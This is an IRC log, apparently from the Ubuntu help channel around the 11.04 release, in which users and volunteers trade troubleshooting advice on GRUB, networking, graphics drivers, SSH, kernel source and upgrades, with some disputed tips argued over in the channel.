[19:29] <ohsix> stravant: it's another client, unless you have something binding mute and are hitting it all the time
[19:29] <escott> a2c4n9e1, are you being a NAT? most people are
[19:29] <bahamas> i've previously modified that file because i have a dual boot system
[19:29] <ohsix> rgr: this communication doesn't take place over dbus, so before you call someone silly know what you're talking about
[19:30] <a2c4n9e1> escott: the other computer is connected through a router
[19:30] <rgr> [thor]: yes. Stay away from intel graphics at all costs. I had AWFUL performance on my thinkpads with intel.
[19:30] <[thor]> s/ using "PS -aux \/ using "ps -aux | grep unity"
[19:30] <stravant> ohsix: Is there any other volume control I can use to see?
[19:30] <osse> bahamas, how have you modified it? Which OS is the other one?
[19:30] <[thor]> rgr: where did i say intel?
[19:30] <alone08> hi
[19:30] <ohsix> stravant: it's simple to see, if g-v-c is closed and it still mutes, its' not g-v-c
[19:30] <AlecTaylor> I've just installed 11.04 in a virtual machine, and I can't get the resolution right. I need 1680x1050 (wide-screen). I've tried changing the resolution and installing VMware Tools to no avail. Any ideas?
[19:30] <Froq> rgr: ssh -X
[19:30] <bahamas> osse, i don't remember how i've modified it. the other OS is Windows XP
[19:30] <rgr> [thor]: sorry, mind warp. I was just looking at another video issue.
[19:30] <escott> a2c4n9e1, if your ip address is 192.168.X.X you can't be ping from anyone outside your network
[19:30] <Guest71298> thor ...how much memory you have?
[19:31] <ohsix> stravant: you can see ALL connected clients in the output of pacmd list-clients, that includes all mixers and apps playing sounds
[19:31] <[thor]> Guest71298: 6GB
[19:31] <ohsix> rgr: my intel card is great
[19:31] <stravant> ohsix: My system has always booted with the sound muted, even without gvc, so I need some way to unmute it, I assume
[19:31] <[thor]> Guest71298: as well as 1GB video memory
[19:31] <justben> Just upgraded to Natty. Liking it so far, but Chrome wants to maximize every time I start it. Anyone have any idea what might cause that?
[19:31] <rgr> [thor]: are you sure the nvidia driver is loaded? (silly Q I know but best to check).
[19:31] <denny_b_> This is interesting, probably a bug I'm sure. -- Just upgraded from 10.04 up to 11.04 and I have no sound. I had sound though when upgrading from 10.04 to 10.10. Any ideas?
[19:31] <alone08> i want some help
[19:31] <ohsix> rgr: did you have an i810? refrain from offering "advice" like that please
[19:31] <osse> bahamas, I would suggest installing a new menu.lst. Grub has gotten pretty good at detect stuff lately.
[19:31] <escott> stravant, have you tried alsamixer?
[19:31] <alone08> help me
[19:31] <Guest71298> did you run the test programs...benchmark stuff?
[19:31] <rgr> Have you considered trying sgfxi?
[19:31] <IdleOne> [thor]: I know that nVidia Corporation C61 [GeForce 6150SE nForce 430] (rev a2) was removed, perhaps yours was also.
[19:31] <bahamas> osse, ok, thanks. i'll do that
[19:31] <Froq> this channel moves WAY to fast for me...
[19:31] <ohsix> stravant: you can unmute it with the applet, without opening the properties
[19:31] <escott> !help | alone08
[19:31] <ubottu> alone08: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[19:31] <[thor]> rgr: there is no driver listed in the "Additional Drivers" list
[19:32] <alone08> escott
[19:32] <[thor]> IdleOne: where can i see a list of supported cards?!
[19:32] <osse> bahamas, hold on. which versions are you upgrading from and to?
[19:32] <DeadEnd> I have enabled classic desktop but know wish to go back to unity  but the option to change session on the bottom bar below login prompt has dissapered, how do i change my session bk?
[19:32] <IdleOne> [thor]: let me find out, gimme a minute
[19:32] <bahamas> 9.04 to 9.10
[19:32] <rgr> [thor]: consider sgfxi. I dont know, but you never know.
[19:32] <a2c4n9e1> escott: i'm having 2 network connected thru a router, and one line from the router goes to the net, pc from net A, can't Ping to my ubuntu in net B, but my ubuntu can ping to net A pc. bot using 192.168.x.x with different subnet
[19:32] <bahamas> osse, ^^
[19:32] <Guest71298> <--had problems with Ubuntu 11.03....wireless install craps out
[19:33] <DrGrov> Evening
[19:33] <osse> bahamas, is it too late? :P If I'm not mistaken 9.04 used grub, not grub2.
[19:33] <OY1R> after getting this error > http://pastebin.com/i2ZahWqH (mount /dev on /root failed invalid argument), i was told to reinstall grub, now when i reboot i only get a grub prompt_ anyone ? using ubuntu 10.10.
[19:33] <a2c4n9e1> escott: i think its the firewall in ubuntu blocking outside connection to the pc. can someone help me?
[19:33] <DrGrov> Can I use Simple Backup on 10.04 in order to get a quick backup of my system before I install 11.04 ?
[19:33] <DrGrov> Or do I need to back it up some other way when I will upgrade to 11.04 ?
[19:33] <osse> bahamas, I would still install a new one though, but make a backup of the original
[19:33] <bahamas> osse, i already went ahead with the installation, if that's what you mean by "too late"
[19:34] <alone08> escott ??  can you help in compiling source code
[19:34] <ysis> Hi, I just upgraded from Maverick to Natty and want Firefox 3.6 back, mostly because of some incompatible extensions I miss. Any hints how to do this?
[19:34] <MrMist1> I'm having problems with hdparm.conf... anyone here with any experience? I'm using natty
[19:34] <escott> a2c4n9e1, you can check your iptables, but also check the router config to make sure that net B has a route to net A
[19:34] <osse> bahamas, it'll probably be fine. It's been a long time since I've had to modify the grub menu manually
[19:35] <alone08> hi all
[19:35] <alone08> hi all
[19:35] <alone08> help me
[19:35] <alone08> i am newbie
[19:35] <IdleOne> [thor]: I can't seem to find a list. soon as I get info I'll msg you ok?
[19:35] <joepa> is it possible to change the shortcuts in the unity dash? or are they hard coded?
[19:36] <[thor]> IdleOne: roger that.
[19:36] <Acriax> I figured out how to fix the problem with the scheme turning light grey. I have to run "killall gnome-settings-daemon ; gnome-settings-daemon" after every login. Now my question is, how can I automate this?
[19:36] <bahamas> osse, ok. another question: the installer is telling me that postgres 8.3 is obsolete but still installed and that i should install the latest packages. should i do that now or wait until the upgrading process finishes?
[19:36] <a2c4n9e1> escott: i don't know how to screw around with linux iptables. but the router firewal doesn't block any connection throu it. but you CAN ping to my ubuntu from within the router,
[19:36] <osse> bahamas, but I apologize in advance if it turns out I've given som incredibly stupid advice.
[19:36] <alone08> how to compile source code
[19:36] <alone08> i want to compile ed source code
[19:37] <bahamas> osse, it's okay. i imagine it's not that hard to edit menu.lst again
[19:37] <rach0> alone08, usually you start by reading the INSTALL file or the README file
[19:37] <jrib> !compile | alone08
[19:37] <ubottu> alone08: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first)
[19:37] <alone08> can any1 help me
[19:37] <escott> alone08, install gcc look at man gcc
[19:37] <a2c4n9e1> !iptables
[19:37] <ubottu> Ubuntu, like any other Linux distribution, has firewall capabilities built-in. The firewall is managed using the 'ufw' command - see https://help.ubuntu.com/community/UFW | An alternative to ufw is the 'iptables' command - See https://help.ubuntu.com/community/IptablesHowTo | GUI frontends such as Gufw (Gnome) or Guarddog (KDE) also exist.
[19:37] <osse> bahamas, I would wait. In reality I don't think you have a choice since the package manager thingy is in use by the upgrade process.
[19:37] <ohsix> rgr: please don't suggest people try sgfxi, it will likely just make a mess someoen else will have to clean up
[19:37] <jrib> alone08: you know ed is in the repositories and you probably have it already?
[19:37] <alone08> thanks rach
[19:37] <escott> a2c4n9e1, its tough to say without knowing more details
[19:37] <alone08> thanks bro
[19:37] <Soothsayer> how do you view Nautilus settings?
[19:37] <destinydriven> I tried to change my computer name in /etc/hosts and /etc/hostname, rebooted and old name still there in natty. Did I miss something?
[19:38] <rach0> alone08,  and get sudo apt-get install build-essential
[19:38] <Soothsayer> like I want the edit path bar
[19:38] <bahamas> osse, ok. i've moving forward
[19:38] <a2c4n9e1> escott: what kind of detail should i presented to you.
[19:38] <alone08> thanks bros
[19:38] <escott> a2c4n9e1, it is possible to configure to not respond to ping, so check iptables and flush any rules if they exist
[19:38] <bahamas> s/'ve/'m/
[19:38] <warp_> iceroot: thanks a lot... your tip worked fine!
[19:38] <escott> a2c4n9e1, but are you sure the router isn't acting as a NAT?
[19:39] <herol3oy> why when i type service sshd restart  >>> it doen'st work? >>>>  sshd: unrecognized service
[19:39] <warp_> iceroot: with it I could resume my upgrade process.... from 10.10 to 11.04
[19:39] <alone08> also want to know i have started learning kernel source code
[19:39] <osse> bahamas, I think I gotten the question about menu.lst before without me even changing the file myself at all. If you can't remember how you modified it it probably wasn't important :P Stuff like which is where on the menu and timeout and all that is easy to change. Are you going through a chain of upgrades or are you stopping at 9.10 ?
[19:39] <popey> herol3oy: its ssh not sshd
[19:39] <escott> Wardje, think it is just "ssh"
[19:39] <alone08> but having lot of problems
[19:39] <a2c4n9e1> escott, i'm preety sure, that my router only nating connection that goes to the internet from within
[19:39] <Froq> What language are kernels written in?
[19:39] <rgr> C mostly in Linux world...
[19:39] <escott> Wardje, mean herol3oy
[19:39] <rach0> Froq, C and assembler mainly
[19:39] <alone08> can any1 tell me from whr to start
[19:40] <ohsix> osse: fwiw, re: grub, os-prober being in the mix with the menu builder has made it much better :] not just grub
[19:40] <a2c4n9e1> escott, because another windows pc from the net B can be pinged from netA
[19:40] <rgr> very rarely assembler.
[19:40] <bahamas> osse, well, my computer is pretty old. would a version newer than 9.10 work okay?
[19:40] <alone08> Frgo ...in c
[19:40] <Froq> O... where can I get the source code for the kernel ubuntu uses?
[19:40] <rgr> Froq: the internet.
[19:40] <escott> a2c4n9e1, then flush your iptables
[19:40] <Froq> rgr: no way!  is there a specific site it is @?
[19:40] <rgr> or you can install it.
[19:40] <alone08> Frog ....from kernel.org
[19:40] <a2c4n9e1> escott, how to do so in ubuntu?
[19:40] <carandraug> Froq, it's on the ubuntu repos
[19:40] <ohsix> rgr: please, refrain from speaking at all if you aren't going to be helping people
[19:40] <schnuffle> Froq: use apt-get to install the sources
[19:40] <Froq> alone08: thanks
[19:41] <Froq> carandraug: THANKS
[19:41] <gurmal> how to install xfce sudo apt-get install xfce   sudo apt-get install xfce: command not found
[19:41] <user_> fck hackers ubuntu servers
[19:41] <rgr> alone08: no. not from kernel.org at all.
[19:41] <osse> ohsix, true! but in this case I think we are stuck with grub, not grub2 which is what made it all better, I believe.
[19:41] <Froq> schnuffle: not running ubuntu @ the moment, so...
[19:41] <rgr> ubuntu has a patched kernel.
[19:41] <AlecTaylor> I've just installed 11.04 in a virtual machine, and I can't get the resolution right. I need 1680x1050 (wide-screen). I've tried changing the resolution and installing VMware Tools to no avail. Any ideas?
[19:41] <escott> a2c4n9e1, from the command line sudo iptables --list to show tables sudo iptables --flush
[19:41] <user_> orlado pirates
[19:41] <ohsix> Froq: apt-get source linux-image-* (depends on the version you want)
[19:41] <carandraug> Froq, use the ubuntu repos, not kernel.org if you want to compile exactly the same thing
[19:41] <a2c4n9e1> ok
[19:41] <a2c4n9e1> thanks escott
[19:41] <IdleOne> Froq: apt-get source linux-source-2.6.38
[19:41] <bahamas> osse, i have a 2600 athlon cpu and 512 ram, iirc
[19:42] <Froq> thanks guys!
[19:42] <ohsix> Froq: that'll check out all the files used to build the package so you can rebuild them yourself; if you want to maintain modifications it might be easier to familiarize yourself with the debian maintainer tools, and stuff like pbuilder
[19:42] <user_> fck cheater
[19:42] <escott> a2c4n9e1, and if you have another computer on the same subnet as the ubuntu try to ping from it to verify that the ubuntu system responds to pings
[19:42] <rgr> learn to use the help facilities your desktop has too. open synaptic and search.
[19:43] <escott> a2c4n9e1, if it does then your problem is in your router/routes on the other network
[19:43] <IdleOne> rgr: Please stop telling people to search the internet. it is not helpful and many people don't have the "google fu"
[19:43] <ohsix> osse: shrug, just meant to hilight os-prober's role
[19:43] <Logan_> cheater333: Do you have a question?
[19:43] <rgr> IdleOne: please mind your own business or READ what I said.
[19:43] <osse> bahamas, I'm not really sure. I can't think of anything that should make it slower except for fancier desktop effects which you can turn off.
[19:43] <akashm1990> Is there any command that will reset my Ubuntu state to default 10.10? i.e. undo any modifications I made  (Something like doing a system restore to the 1st day of OS install in Windows)
[19:43] <escott> AlecTaylor, have you tried xrandr on the guest?
[19:43] <rgr> I corrected the WRONG answers and then suggested using SYNAPTIC!
[19:43] <ohsix> rgr: apt-cache search is generally more comprehensible without introducing all the complexity of something like synaptic
[19:43] <alone08> tell frm whr to start reading kernel source
[19:43] <IdleOne> rgr: Drop your attitude. I am telling you to stop or I will remove you.
[19:43] <phibxr> Can you disable the reddish Ubuntu One-bar in Nautilus in your Documents-folder etc?
[19:43] <mathmoi> Hi, Can I make a minimal install of ubuntu with the regular CD or do I need to use the server CD?
[19:43] <MrMist1> Ubuntu Natty seems to skip hdparm.conf during bootup... my settings for spinning down the HD is ignored completely. Anyone want to help me solve this?
[19:43] <Froq> man, these IRC channels are the greatest thing EVER
[19:43] <gurmal>  how to install xfce sudo apt-get install xfce   sudo apt-get install xfce: command not found  whats wrong here
[19:43] <Logan_> !minimal | mathmoi
[19:43] <ubottu> mathmoi: The Minimal CD image is very small in size, and it downloads most packages from the Internet during installation, allowing you to select only those you want (the installer is like the one on the !Alternate CD). See https://help.ubuntu.com/community/Installation/MinimalCD
[19:44] <mathmoi> Logan_: Thanks
[19:44] <Logan_> mathmoi: You're welcome.
[19:44] <rgr> IdleOne: once more. Please read what I typed. I did NOT refer him to google. I corrected tge wrong answers and suggsted he use Synaptic. This is helpful.
[19:44] <escott> akashm1990, reinstall/etc-keeper/btrfs snapshots there is no single comand
[19:44] <bahamas> osse, ah. ok. i think i'll wait though because this upgrade took about 2 hours, and i don't have the patience to wait more
[19:44] <ohsix> rgr: you referred him to search with something else
[19:44] <gurmal> @Froq true
[19:44] <Sledge> muneeb,  fixed.
[19:45] <ohsix> rgr: think about telling a frail old lady to use a computer when all she wanted was a calculator
[19:45] <escott> akashm1990, if you've broken something let us know and we can try to fix it
[19:45] <gurmal>  how to install xfce sudo apt-get install xfce   sudo apt-get install xfce: command not found whats wrong with this command
[19:45] <ohsix> rgr: if she already knows about computers it's a bonus, otherwise it is needless trouble
[19:45] <carandraug> mathmoi, I think for the minimal install it's the alternate install, not the server
[19:45] <greg__> h
[19:45] <rgr> gurmal: whats with the underscores?
[19:45] <TuffPoo> hey guys i got an issue im getting this when i try to install simcity from disk... "The file '/media/SIMCITY3000/SETUP/ENGLISH/SETUP.EXE' is not marked as executable.  If this was downloaded or copied from an untrusted source, it may be dangerous to run.  For more details, read about the executable bit."
[19:45] <schnuffle> gurmal: search for xfce, I think the packages are called xfce4
[19:45] <muneeb> Sledge, great!
[19:45] <ohsix> gurmal: you have garbage characters where there should be spaces
[19:45] <rgr> Or use synaptic and search.
[19:46] <escott> TuffPoo, thats wine warning you to chmod +x the windows executables you trust
[19:46] <rach0> gurmal, sudo apt-get install xfce4
[19:46] <Um_cara_Qualquer> does anybody knows the name of this movie: OFJ.Dual.avi ?
[19:46] <herol3oy> escott: so we have no such a package named sshd?!
[19:46] <rgr> there is no shame in using the gui tool. Its there for a reason and can show you related packages very easily.
[19:46] <ohsix> rgr: synaptic may seem simple to you, and you even know it can search! but if telling someone to run a command that directly shows the information they are interested, and is comprehensible, it is preferable
[19:46] <IdleOne> Um_cara_Qualquer: wrong channel.
[19:47] <greg__> I'm trying to stream Netflix. Is there a way to do it using Ubuntu 10.04, or should I install a Windows partition. I have a Windows XP disc.
[19:47] <gurmal> ok i get it xfce4
[19:47] <escott> herol3oy, there is an ssh-server but the only "service" would be the sshd not the client. agreed it seems a little weird name for the service
[19:47] <TuffPoo> escott: its a safe exe i know for sure so the command would be "chmod +x /media/SIMCITY3000/SETUP/ENGLISH/SETUP.EXE"
[19:47] <rgr> greg__: what are you trying to install exactly?
[19:47] <Stameni> if i set evolution to check for mail every 5 minuts, will it display me notify when mail is receved or it will be just stored in inbox ?
[19:47] <Um_cara_Qualquer> IdleOne, which one is the right?
[19:47] <erkan^> how install I Gnome 3 on Ubuntu 11.04 ?
[19:47] <IdleOne> Um_cara_Qualquer: I don't know but not here.
[19:47] <rach0> erkan^,  google for gnome3 ppa for natty
[19:47] <escott> TuffPoo, i believe that should make wine shut up
[19:47] <erkan^> is ppa good, rach0 ?
[19:47] <IdleOne> !gnome3 | erkan^
[19:47] <ubottu> erkan^: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[19:47] <ohsix> Um_cara_Qualquer: "operaco fim de jogo dublado" or so says the gooel result associated with it
[19:48] <akashm1990> escott, Can a reinstall be done easily without messing up GRUB? I seem to have broken various things in the system..  have 2 versions of JDK installed somehow(some programs see one, some see the other). apt-get has a habit of hanging,etc..
[19:48] <erkan^> ok i see
[19:48] <Um_cara_Qualquer> hmm
[19:48] <herol3oy> escott:  actually what is "sshd"
[19:48] <herol3oy> ?
[19:48] <Glowball> Where are the torrent files located on the website? (Every time, I end up here asking the link, so I better do it right this time... :P)
[19:48] <ohsix> Um_cara_Qualquer: i've found quoting filenames can often get you to the page that references them, doesn't mean you'll fidn anything though :]
[19:48] <Stameni> if i set evolution to check for mail every 5 minuts, will it display me notify when mail is receved or it will be just stored in inbox ?
[19:48] <rach0> erkan^,  i should say use it at your own risk
[19:48] <cntrational> my resolution is set to 1024x768, when it's supposed to be set to 1368x768. what do I do?
[19:48] <escott> herol3oy, sshd is the ssh daemon (runs in the background providing a server to connect to), ssh is the client allows you to connect to other servers
[19:48] <Um_cara_Qualquer> ohsix, @@ you are right
[19:48] <ohsix> Glowball: they're next to the .iso files in the mirror directory
[19:48] <herol3oy> escott: because we have ssh for client and openssh for server side?
[19:48] <Um_cara_Qualquer> ohsix, thx a lot man
[19:48] <ohsix> Um_cara_Qualquer: np
[19:49] <rgr> herol3oy: this is really a great resource - https://help.ubuntu.com/community/SSH/OpenSSH/Keys
[19:49] <Glowball> ohsix: Which is where, starting from the homepage?
[19:49] <rgr> it explains the setup well
[19:49] <carandraug> cntrational, go to the monitor preferences and change it
[19:49] <escott> akashm1990, grub is pretty much automatic these days. are you concerned about some other os?
[19:49] <cntrational> carandraug: it's not there, that's the problem
[19:49] <TuffPoo> escott: hmmm i did do the command but its not changing it
[19:49] <cntrational> carandraug: Ubuntu isn't detecting the proper resolution
[19:49] <ohsix> Glowball: well i never found a great way to get it without going to the mirrors manually, one sec
[19:49] <erkan^> I understand it, rach0
[19:49] <akashm1990> escott, yes, its a dual boot setup with Windows 7
[19:49] <herol3oy> does anybody install 11.4? anyproblem yet? something that bother you? everyting is coool or not?
[19:50] <rgr> akashm1990: you might need to sudo update-grub after installing to get win7 back in to grub,
[19:50] <IdleOne> Glowball: http://www.ubuntu.com/download/ubuntu/alternative-download
[19:50] <charas> Congratulations Ubuntu. I am totally digging 11.04
[19:50] <ohsix> cntrational: ubuntu doesn't detect the resolution, your monitor may or may not have EDID information or the driver might have known modes, lacking these it needs to be told which modes are valid
[19:50] <carandraug> cntrational, on the old times you could edit xorg.conf. But I think ubuntu doesn't use X anymore so I don't know how to fix it
[19:50] <escott> herol3oy, well they are both openssh but one is the client only, the other is the server only so install openssh-server and then start the ssh service
[19:50] <rgr> carandraug: of course ubuntu uses X.
[19:50] <carandraug> rgr, wasn't it vchanging to wayland?
[19:50] <Glowball> IdleOne: Ah, I see them. And how to get there :) Thanks.
[19:50] <escott> TuffPoo, is there a #wine channel?
[19:50] <herol3oy> thanks dude!
[19:50] <Froq> How do I update my desktop to the newest ubuntu via terminal?
[19:50] <cntrational> carandraug: that's on 11.10, afaik
[19:50] <Froq> sudo apt-get upgrade?
[19:50] <rgr> And xorg.conf is still there and useable and in many cases (mine) necessary too.
[19:51] <akashm1990> escott, rgr So, I can also download 11.04 , Install it like  I installed 10.04 , and with minimal effort get windows 7 back in GRUB. Right? I should overwrite the old Ubuntu install?
[19:51] <herol3oy> sudo apt-get dist-upgrade
[19:51] <schnuffle> Froq: change the repository entries and use dis-upgrade
[19:51] <jrib> !upgrade | Froq
[19:51] <ubottu> Froq: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[19:51] <ohsix> Glowball: from the front page "Get ubuntu", "Download and install", "Alternative downloads"
[19:51] <cntrational> I've tried editing xorg.conf, but I'm not sure what I need to do to set the resolution
[19:51] <escott> akashm1990, a reinstall would reinstall grub, but i never did anything special to get win 7 to boot
[19:51] <jrib> Froq: follow the server instructions there (do-release-upgrade)
[19:51] <rgr> akashm1990: no. Not with minimal effort. depends on HOW your current partitions are set up. You MUST do your homework. Dont listen to the "its easy" advice.
[19:51] <supton> erratic unresponsive UI after upgrade.  after upgrade to natty (running beta packages from early this week), mouse cursor moves fine, no apparent load, but occasional (often enough) can't click anything: mouse/keyboard fail do do anything (unity 3d on intel graphics on Dell Inspiron 15).
[19:51] <Glowball> ohsix: I got there already, thanks to IdleOne. Thanks anyway for your effort!
[19:51] <carandraug> cntrational, rgr, oh! I thought they were going to change now on 11.04. Can you say I haven't upgraded yet? :p
[19:52] <charas> can anyone tell why "Ctrl + Alt + Numpad 7" shortcut might not work on my system?
[19:52] <escott> akashm1990, if you had a lot of trouble in the past you might have trouble with a reinstall
[19:52] <alecbenzer> is there a way to have the unity side bar come up instantly when I move my mouse to the right of the screen (ie not having the 1-2 second delay)
[19:52] <alecbenzer> left*
[19:52] <ohsix> rgr: the xorg.conf is not there unless you have a proprietary driver (practically speaking, just nvidia) or a custom configuration, on a default install there is no xorg.conf and it's all hot detected
[19:52] <rgr> carandraug: so why tell someone its not used anymore? That could lead to them hosing their systems. Just saying like ... ;)
[19:52] <akashm1990> escott, rgr The 1st time I installed Ubuntu it was automatic.
[19:52] <jrib> charas: what do you expect it to do?
[19:52] <carandraug> cntrational, can you look into /etc/X11/xorg.conf then?
[19:52] <akashm1990> should I expect any difference this time since grub is already installed?
[19:52] <ohsix> carandraug: you'd have to create it, but X will still read it
[19:53] <rgr> akashm1990: it might be. But be careful. Tjhere are oodles of issues with many many people. its not me making things up.
[19:53] <charas> jrib: It should place my window at top left corner of screen but it's not working. I disabled all the compiz shortcuts so not to override.
[19:53] <phibxr> akashm1990, i've never had any trouble with grub not recognizing an installed operating system.
[19:53] <cntrational> carandraug: as ohsix said, it isn't there
[19:53] <carandraug> rgr, I really thought they had it changed on this new version. Sorry
[19:53] <destin> hi!
[19:53] <jrib> charas: oh, is that some unity shortcut?
[19:53] <rgr> phibxr: thats nice but its no help to the hundreds who do. Its worth being careful - thats all I am saying.
[19:53] <destin> hi!
[19:53] <charas> jrib: Yes, shortcut for placing windows
[19:53] <escott> akashm1990, i don't see any reason to expect anything different this time. but you can always install grub from chroot its not that bad (I've walked a half-dozen people throught it the last few days)
[19:53] <MrBean> Hi all, how much disk space do I need to upgrade fom 10.10 to 11.04? with 3GB I couldn't.
[19:53] <charas> in Unity
[19:53] <jrib> charas: ah, no idea then
[19:53] <schnuffle> !anyone | desti
[19:53] <ubottu> desti: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
[19:54] <charas> thanks anyway, man
[19:54] <rgr> at the very least have a rescue image/cd/stick ready ;)
[19:54] <akashm1990> rgr, ohk..  Then, if I use the same Ubuntu 10.04 install I had used earlier, it wouldnt cause any issues because grub already exists?
[19:54] <CHOWNed> ya go back to 10.10.....11.04 is a headache
[19:54] <carandraug> cntrational, then run sudo Xorg --configure
[19:54] <rgr> should be fine. but even upgrades of grub have hosed systems.
[19:54] <ohsix> MrBean: you need room to fetch all the new versionso f packages you have installed already and then some, so if a fresh install had less than half the disk left; upgrades might not be feasible
[19:54] <escott> akashm1990, it will just overwrite the existing mbr during the install
[19:54] <escott> akashm1990, just don't do it the hour before you need your computer for XYA
[19:55] <rgr> carandraug: you told him to back up first I hope?
[19:55] <ohsix> MrBean: you can arrange for your package cache for the upgrade to be put somewhere with more storage, though; increasing the disk size is the best idea
[19:55] <carandraug> rgr, he doesn't have a Xorg.conf file to backup
[19:55] <rgr> escott: +1
[19:55] <destin> does enyone know why i can not move my windows when i click at the bar at the top and drag?
[19:55] <rgr> what card?
[19:55] <akashm1990> ok.. I'll try downloading 11.04, else just reinstall 10.04..  thanks
[19:55] <Glowball> CHOWNed: You know you can just log into classic GNOME desktop on 11.01, right?
[19:55] <Glowball> Oh, he's off...
[19:55] <ohsix> rgr: don't conflate your experience with "grub" "updating" hosing systems, people upgrading and doing things hose systems, if grub or the upgrade process actually did it, it is a bug, and i hope you reported it
[19:55] <rgr> best util I have used is nvidia-settings but recently discovered sgfxi.
[19:55] <cntrational> carandraug: already tried that, it fails with the error "Number of created screens does not match number of detected devices"
[19:56] <osse> Each time a new Ubuntu version comes out I see a lot about upgrading. But I never manage to find out if there will be any significant difference between a fresh install and an upgraded installation. I guess because there are none?
[19:56] <MrBean> ok thank you, I'll download the iso and reburn it. bye.
[19:56] <[thor]> Glowball: "Classic" != "10.10"
[19:56] <Froq> how can i check to see if my wireless card has N capabilities via terminal?
[19:56] <ohsix> rgr: don't tell people to use sgfxi, other people will have to undo the damage it does to fix their problems
[19:56] <rgr> osse: why guess that?
[19:56] <saju_m> i tried to install cinelerra, but getting error, http://dpaste.com/537555/
[19:56] <carandraug> cntrational, are you using only 1 monitor?
[19:56] <jrib> osse: there shouldn't be any significant difference, yes
[19:56] <cntrational> carandraug: yes
[19:56] <Glowball> [thor]: But I can't see another reason not to want 11.04, except for Unity
[19:56] <rgr> There are loads of issues with upgrading that simply dont occur with a fresh install for obvious reasons.
[19:57] <ohsix> Froq: iw phy phy0 info
[19:57] <Froq> ohsix: thanks
[19:57] <osse> rgr: Maybe a "no news is good news" kind of thing :P
[19:57] <rgr> including but not limited to other tweaks you might have applied on the older version that can not be migrated by the update utility. Anyone who says they are the same thing is misleading you.
[19:57] <ohsix> osse: there often are none, yes; but with upgrades special attention needs to be made if you use ppa's or mangled some of the distro files (which you can do unknowingly if you followed bad advice/workarounds in the past)
[19:58] <[thor]> Glowball: lack of video card compatibility is the one i am running into now; even in Classic mode, my 3D acceleration is toast ( yes, i have checked for drivers )
[19:58] <haygus> Hi
[19:58] <arkanabar> what gtk apps for adjusting mouse acceleration are available for 11.04?  lxinput stopped working after upgrade to natty
[19:58] <haygus> where ca n i found the new version md5 file ?
[19:58] <[thor]> a distro upgrade is supposed to improve functionality, not break it.
[19:58] <AlecTaylor> I've just installed 11.04 in a virtual machine, and I can't get the resolution right. I need 1680x1050 (wide-screen). I've tried changing the resolution and installing VMware Tools to no avail. Any ideas?
[19:58] <ohsix> rgr: the point of an upgrade is for them to be the same thing in the end, so what you just said is antithetical to the entire process
[19:58] <rgr> [thor]: I guess you never upgraded Ubuntu much then ;)
[19:59] <ohsix> [thor]: and "upgrade" is a strictly utilitarian thing that changes the packages to new versions, it says nothing about functionality
[19:59] <[thor]> rgr: since 8.04
[19:59] <jrib> osse: if you take a fresh 10.10 install and upgrade it should be the same as an 11.04 install.  Obviously, if you make changes to 10.10 and upgrade those changes affect your upgrade result vs a fresh 11.04 install...
[19:59] <tmaster> MSI ATI 5770 HAWK, Core i5 750, 4GB DDR3,Intel DP55WB -- any potential driver issues with Ubuntu?
[19:59] <logophobia> hi, are there any special instructions/tricks for installing on an UEFI based PC? I installed ubuntu but I never get the boot menu
[19:59] <saju_m> i trying to install cinelerra, but getting error, http://dpaste.com/537555/
[19:59] <rgr> but the upgrade will never be as clean as the fresh install. And there should be zero reason to install 10.10 amd then dirextly update.
[20:00] <ohsix> the important distinction is the things that you can do to break things for an upgrade, which happen; that you sidestep entirely doing a new install
[20:00] <[thor]> ohsix: it has succeeded in driving me away from the project.
[20:00] <Glowball> [thor]: Weird. I never had that kind of problems. There is one bug that is keeping me from 11.04 for now, though, and that is the higher power usage in new kernels.
[20:00] <ohsix> rgr: quantify "clean"
[20:00] <ohsix> [thor]: bummer
[20:00] <cooladmin> I installed new Ubuntu 4.14 since long time I left ubuntu for RHEL & Fedora...really is amazing product now and I want to stick with it
[20:00] <saju_m> please check this http://dpaste.com/537555/
[20:00] <RealOpty> does virtualbox only emulate a 32bit cpu??????????
[20:00] <haygus> i have this error before the instal
[20:00] <cooladmin> Sorry 10.14
[20:00] <haygus> unexepected_exit_with_statut_0x0009
[20:00] <carandraug> cntrational, I googled a bit and some people say you need to stop X before running that. That means you'd have to go to a tty, and stop the GUI for some time
[20:00] <rgr> you check which repo cinelerra should be in and added it to your sources.list?
[20:00] <haygus> on black screen,
[20:01] <haygus> i try check disk, same thing..
[20:01] <ohsix> Glowball: that higher power usage amounts to about 3 minutes here, the part that bugs me is the extra 1deg or so it entails on the system/hd temps
[20:01] <rgr> Did you use synaptic or apt-cache search to verify the install candidate name?
[20:01] <rach0> tmaster, no there should not be any serious problems with drivers. I suspect everything will work out of the box
[20:01] <[thor]> cooladmin: neither of those are valid release numbers..
[20:01] <Froq> So I downloaded the most recent linux kernel and it is taking my computer 10+ minutes to unpack the dang thing...
[20:01] <berefeira> updated, no wobbly windows, is this correct?
[20:01] <osse> Thanks, guys. I'll try to think of stuff I might have done. In 11.04 the default media player has changes. Does this mean that Banshee won't get installed because it notices that I have Rhythmbox set as the default player?
[20:01] <ohsix> Froq: theres a ton of files in it :] like tons
[20:01] <cntrational> carandraug: I did do that; alt-ctrl-F2, sudo stop service gdm
[20:01] <tmaster> rach0: thanks, I had heard there are some issues with ATI cards, thats why I was worried
[20:01] <rgr> Froq: may I ask why? You had to ask where to get it. Did you install the source via synaptic?
[20:01] <ohsix> Froq: not a million but over 50k
[20:01] <Froq> ohsix: must be... but it is only 75MB.... that isn't very big. lol... but I guess it is too.
[20:01] <jrib> osse: you'll likely have both installed
[20:02] <ohsix> rgr: it is extracted and prepared if apt-get source is used
[20:02] <Froq> rgr: I went to the ubuntu repos and got it from there.
[20:02] <rach0> tmaster, i have a HD 5500 and it works fine, just dont install the binary drivers
[20:02] <carandraug> cntrational, ok. Could you pastebin the X log then?
[20:02] <arkanabar> what gtk apps for adjusting mouse acceleration are available for 11.04?  lxinput stopped working after upgrade to natty
